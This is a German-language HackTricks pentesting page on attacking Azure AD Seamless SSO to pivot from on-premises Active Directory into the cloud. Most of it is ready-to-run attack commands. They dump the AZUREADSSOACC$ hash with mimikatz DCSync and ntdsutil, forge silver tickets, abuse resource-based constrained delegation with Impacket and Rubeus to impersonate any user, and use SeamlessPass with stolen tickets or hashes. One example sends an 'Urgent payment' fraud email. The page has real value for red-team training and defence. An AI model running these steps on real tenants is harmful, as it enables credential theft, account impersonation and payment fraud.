Az - Seamless SSO

Reading time: 10 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

Aus den Dokumenten: Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) meldet Benutzer automatisch an, wenn sie sich auf ihren Unternehmensgeräten befinden, die mit Ihrem Unternehmensnetzwerk verbunden sind. Wenn aktiviert, müssen Benutzer ihre Passwörter nicht eingeben, um sich bei Azure AD anzumelden, und normalerweise auch nicht ihre Benutzernamen. Diese Funktion bietet Ihren Benutzern einfachen Zugang zu Ihren cloudbasierten Anwendungen, ohne dass zusätzliche lokale Komponenten erforderlich sind.

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works

Im Grunde meldet Azure AD Seamless SSO Benutzer an, wenn sie sich auf einem lokal verbundenen PC befinden.

Es wird sowohl von PHS (Password Hash Sync) als auch von PTA (Pass-through Authentication) unterstützt.

Desktop-SSO verwendet Kerberos zur Authentifizierung. Wenn konfiguriert, erstellt Azure AD Connect ein Computer-Konto mit dem Namen AZUREADSSOACC$ im lokalen AD. Das Passwort des AZUREADSSOACC$-Kontos wird im Klartext an Entra ID während der Konfiguration gesendet.

Die Kerberos-Tickets sind verschlüsselt mit dem NTHash (MD4) des Passworts, und Entra ID verwendet das gesendete Passwort, um die Tickets zu entschlüsseln.

Entra ID stellt einen Endpunkt (https://autologon.microsoftazuread-sso.com) zur Verfügung, der Kerberos Tickets akzeptiert. Der Browser des domain-verbundenen Geräts leitet die Tickets an diesen Endpunkt für SSO weiter.

Enumeration

bash
# Check if the SSO is enabled in the tenant
Import-Module AADInternals
Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table

# Check if the AZUREADSSOACC$ account exists in the domain
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"

# Check it using raw LDAP queries without needing an external module
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)"
$searcher.FindOne()

Pivoting: On-prem -> cloud

warning

Das Wichtigste, was man über diesen Angriff wissen sollte, ist, dass es ausreicht, das TGT oder ein spezifisches TGS eines Benutzers, der mit Entra ID synchronisiert ist, zu haben, um auf die Cloud-Ressourcen zuzugreifen.
Dies liegt daran, dass es ein Ticket ist, das es einem Benutzer ermöglicht, sich in der Cloud anzumelden.

Um das TGS-Ticket zu erhalten, muss der Angreifer eines der folgenden Dinge haben:

  • Ein kompromittiertes TGS eines Benutzers: Wenn Sie die Sitzung eines Benutzers mit dem Ticket zu HTTP/autologon.microsoftazuread-sso.com im Speicher kompromittieren, können Sie es verwenden, um auf die Cloud-Ressourcen zuzugreifen.
  • Ein kompromittiertes TGT eines Benutzers: Selbst wenn Sie keines haben, aber der Benutzer kompromittiert wurde, können Sie eines mit dem gefälschten TGT-Delegationstrick erhalten, der in vielen Tools wie Kekeo und Rubeus implementiert ist.
  • Ein kompromittierter Hash oder Passwort eines Benutzers: SeamlessPass wird mit diesen Informationen mit dem Domänencontroller kommunizieren, um das TGT und dann das TGS zu generieren.
  • Ein goldenes Ticket: Wenn Sie den KRBTGT-Schlüssel haben, können Sie das benötigte TGT für den angegriffenen Benutzer erstellen.
  • Der Hash oder das Passwort des AZUREADSSOACC$-Kontos: Mit diesen Informationen und der Sicherheitskennung (SID) des Benutzers ist es möglich, ein Serviceticket zu erstellen und sich mit der Cloud zu authentifizieren (wie im vorherigen Verfahren durchgeführt).

SeamlessPass

Wie in diesem Blogbeitrag erklärt, ist es mit einem der vorherigen Anforderungen sehr einfach, das Tool SeamlessPass zu verwenden, um auf die Cloud-Ressourcen als der kompromittierte Benutzer oder als jeder Benutzer zuzugreifen, wenn Sie den AZUREADSSOACC$-Kontohash oder das Passwort haben.

Schließlich ist es mit dem TGT möglich, das Tool SeamlessPass zu verwenden mit:

bash
# Using the TGT to access the cloud
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_encoded_TGT>
# Using the TGS to access the cloud
seamlesspass -tenant corp.com -tgs user_tgs.ccache
# Using the victims account hash or password to access the cloud
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF
seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password
# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID
seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234
seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
wmic useraccount get name,sid # Get the user SIDs

Weitere Informationen zur Konfiguration von Firefox für die Verwendung mit Seamless SSO sind in diesem Blogbeitrag zu finden.

Abrufen der Hashes des AZUREADSSOACC$-Kontos

Das Passwort des Benutzers AZUREADSSOACC$ ändert sich nie. Daher könnte ein Domänenadministrator den Hash dieses Kontos kompromittieren und ihn dann verwenden, um Silber-Tickets zu erstellen, um sich mit jedem synchronisierten On-Prem-Benutzer mit Azure zu verbinden:

bash
# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos

note

Mit den aktuellen Informationen könnten Sie einfach das Tool SeamlessPass wie zuvor angegeben verwenden, um Azure- und Entraid-Token für jeden Benutzer in der Domäne zu erhalten. Sie könnten auch die vorherigen Techniken (und andere) verwenden, um den Hash des Passworts des Opfers zu erhalten, das Sie anstelle des Kontos AZUREADSSOACC$ nachahmen möchten.

Erstellen von Silver Tickets

Mit dem Hash können Sie jetzt Silver Tickets generieren:

bash
# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."

Verwendung von Silver Tickets mit Firefox

Um das Silver Ticket zu nutzen, sollten die folgenden Schritte ausgeführt werden:

  1. Browser starten: Mozilla Firefox sollte gestartet werden.
  2. Browser konfigurieren:
  • Navigieren Sie zu about:config.
  • Setzen Sie die Präferenz für network.negotiate-auth.trusted-uris auf den angegebenen Wert:
  • https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com
  • Navigieren Sie zu Firefox Einstellungen > Suchen Sie nach Windows-SSO für Microsoft-, Arbeits- und Schulkonten zulassen und aktivieren Sie es.
  1. Zugriff auf die Webanwendung:
  • Besuchen Sie eine Webanwendung, die mit der AAD-Domain der Organisation integriert ist. Ein häufiges Beispiel ist login.microsoftonline.com.
  1. Authentifizierungsprozess:
  • Geben Sie auf dem Anmeldebildschirm den Benutzernamen ein und lassen Sie das Passwortfeld leer.
  • Um fortzufahren, drücken Sie entweder TAB oder ENTER.

warning

Dies umgeht kein MFA, wenn es für den Benutzer aktiviert ist.

On-prem -> Cloud über ressourcenbasierte eingeschränkte Delegation

Um den Angriff durchzuführen, wird benötigt:

  • WriteDACL / GenericWrite über AZUREADSSOACC$
  • Ein Computer-Konto, das Sie kontrollieren (Hash & Passwort) - Sie könnten eines erstellen
  1. Schritt 1 – Fügen Sie Ihr eigenes Computer-Konto hinzu
  • Erstellt ATTACKBOX$ und druckt seinen SID/NTLM-Hash aus. Jeder Domänenbenutzer kann dies tun, solange MachineAccountQuota > 0
bash
# Impacket
python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
-computer ATTACKBOX$ -password S3cureP@ss
  1. Schritt 2 – Gewähren Sie RBCD auf AZUREADSSOACC$ - Schreibt die SID Ihres Geräts in msDS-AllowedToActOnBehalfOfOtherIdentity.
bash
python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
ATTACKBOX$ AZUREADSSOACC$

# Or, from Windows:
$SID = (Get-ADComputer ATTACKBOX$).SID
Set-ADComputer AZUREADSSOACC$ `
-PrincipalsAllowedToDelegateToAccount $SID
  1. Schritt 3 – Erstellen Sie ein TGS für jeden Benutzer (z. B. alice)
bash
# Using your machine's password or NTLM hash
python3 getST.py -dc-ip 192.168.1.10 \
-spn HTTP/autologon.microsoftazuread-sso.com \
-impersonate alice \
DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821

# Produces alice.autologon.ccache

#Or, from Windows:
Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
/impersonateuser:alice `
/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt

Sie können jetzt das TGS verwenden, um auf Azure-Ressourcen als der impersonierte Benutzer zuzugreifen.

Erstellen von Kerberos-Tickets für Cloud-nur-Benutzer

Wenn die Active Directory-Administratoren Zugriff auf Azure AD Connect haben, können sie SID für jeden Cloud-Benutzer festlegen. Auf diese Weise können Kerberos Tickets auch für Cloud-nur-Benutzer erstellt werden. Die einzige Voraussetzung ist, dass die SID eine gültige SID ist.

caution

Das Ändern der SID von Cloud-nur-Admin-Benutzern ist jetzt von Microsoft blockiert.
Für Informationen siehe https://aadinternals.com/post/on-prem_admin/

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks